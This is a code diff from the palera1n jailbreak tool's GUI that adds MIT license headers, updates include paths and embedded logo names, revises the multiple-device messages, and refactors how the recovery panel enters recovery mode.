* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef EXPLOITPANEL_HPP
#define EXPLOITPANEL_HPP
@@ -5,7 +32,7 @@
#include <wx/wx.h>
#include "DevicePanel.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
class ExploitPanel;
class ExploitPanel : public DevicePanel
+45 -21
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_GUI
#include "MainPanel.hpp"
@@ -12,11 +39,10 @@
#include "AppFrame.hpp"
#include "DevicePanel.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
#include "../globals.h"
#include "../utils.h"
#include "../paleinfo.h"
#include "../gen/images/logo.h"
#include "../gen/embedded/logo.h"
const char* deviceTextString = "No device connected";
const char* deviceTextString2 = "Please connect a device to get started.\nEnsure version range is 15.0+";
@@ -29,7 +55,7 @@ MainPanel::MainPanel(MainFrame* frame, wxWindow* parent)
auto* left = new wxBoxSizer(wxVERTICAL);
auto* right = new wxBoxSizer(wxVERTICAL);
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
wxImage img(stream, wxBITMAP_TYPE_PNG);
wxBitmap bmp(img);
@@ -185,23 +211,21 @@ void MainPanel::SetDeviceState(const DeviceState& state)
if (m_deviceTitle && m_deviceSubtitle)
{
if (!state.connected)
if (state.multipleDevices || state.connectedDeviceCount > 1)
{
if (state.connectedDeviceCount > 1)
{
m_deviceTitle->SetLabel("Multiple devices detected");
m_deviceSubtitle->SetLabel(
wxString::Format(
"%u USB devices connected. Disconnect extras and keep only one device attached.",
state.connectedDeviceCount
)
);
}
else
{
m_deviceTitle->SetLabel(deviceTextString);
m_deviceSubtitle->SetLabel(deviceTextString2);
}
m_deviceTitle->SetLabel("Multiple devices detected");
m_deviceSubtitle->SetLabel(
wxString::Format(
"%u devices connected. Please only connect one device.\n",
state.connectedDeviceCount
)
);
m_startButton->Enable(false);
}
else if (!state.connected)
{
m_deviceTitle->SetLabel(deviceTextString);
m_deviceSubtitle->SetLabel(deviceTextString2);
m_startButton->Enable(false);
}
else
@@ -209,7 +233,7 @@ void MainPanel::SetDeviceState(const DeviceState& state)
const std::string versionString =
state.productVersion.empty() ? "Unknown" : state.productVersion;
const std::string productString =
state.productType.empty() ? "Unknown" : state.productType;
state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName;
const std::string ecidString = state.ecid != 0 ? ("ECID: " + std::to_string(state.ecid)) : "ECID: Unknown";
switch (state.mode)
+28 -1
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef MAINPANEL_H
#define MAINPANEL_H
@@ -5,7 +32,7 @@
#include <wx/wx.h>
#include "DevicePanel.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
class MainPanel;
class MainPanel : public DevicePanel
+42 -31
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_GUI
#include "RecoveryPanel.hpp"
@@ -13,15 +40,10 @@
#include "AppFrame.hpp"
#include "DevicePanel.hpp"
#include "../event.hpp"
#include "../utils.h"
#include "../events/event.hpp"
#include "../globals.h"
#include "../paleinfo.h"
#include "../gen/images/logo.h"
#include <libimobiledevice/libimobiledevice.h>
#include <libimobiledevice/lockdown.h>
#include <libirecovery.h>
#include "../gen/embedded/logo.h"
RecoveryPanel::RecoveryPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent)
@@ -29,7 +51,7 @@ RecoveryPanel::RecoveryPanel(MainFrame* frame, wxWindow* parent)
Bind(wxEVT_SHOW, &RecoveryPanel::OnShow, this);
auto* root = new wxBoxSizer(wxHORIZONTAL);
auto* left = new wxBoxSizer(wxVERTICAL);
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
wxImage img(stream, wxBITMAP_TYPE_PNG);
wxBitmap bmp(img);
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
@@ -133,30 +155,19 @@ void RecoveryPanel::EnterRecoveryMode()
std::thread([this]()
{
const auto deviceState = GetDeviceState();
if (!deviceState.connected)
return;
idevice_t device = nullptr;
lockdownd_client_t client = nullptr;
if (idevice_new(&device, deviceState.udid.c_str()) != IDEVICE_E_SUCCESS)
return;
if (lockdownd_client_new_with_handshake(
device,
&client,
"palera1n") != LOCKDOWN_E_SUCCESS)
{
idevice_free(device);
return;
}
if (!deviceState.connected) return;
m_isEnteringRecovery = true;
lockdownd_enter_recovery(client);
lockdownd_client_free(client);
idevice_free(device);
bool success = enter_recovery();
if (!success)
{
wxTheApp->CallAfter([this]()
{
m_isEnteringRecovery = false;
m_statusText->SetLabel("Failed to enter recovery mode.");
m_backButton->Enable();
m_nextButton->Enable();
});
}
}).detach();
}
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef RECOVERYPANEL_H
#define RECOVERYPANEL_H
+29 -4
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_GUI
#include "SettingsPanel.hpp"
@@ -10,17 +37,16 @@
#include "AppFrame.hpp"
#include "DevicePanel.hpp"
#include "../utils.h"
#include "../globals.h"
#include "../paleinfo.h"
#include "../gen/images/logo.h"
#include "../gen/embedded/logo.h"
SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent)
{
auto* root = new wxBoxSizer(wxHORIZONTAL);
auto* left = new wxBoxSizer(wxVERTICAL);
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
wxImage img(stream, wxBITMAP_TYPE_PNG);
wxBitmap bmp(img);
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
@@ -120,7 +146,6 @@ SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent)
{
wxString value = e.GetString();
if (value.length() > (sizeof(boot_args) - 0x20)) {
LOG_ERROR("Boot arguments too long");
return;
}
snprintf(boot_args, sizeof(boot_args), "%s", value.ToStdString().c_str());
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef SETTINGSPANEL_H
#define SETTINGSPANEL_H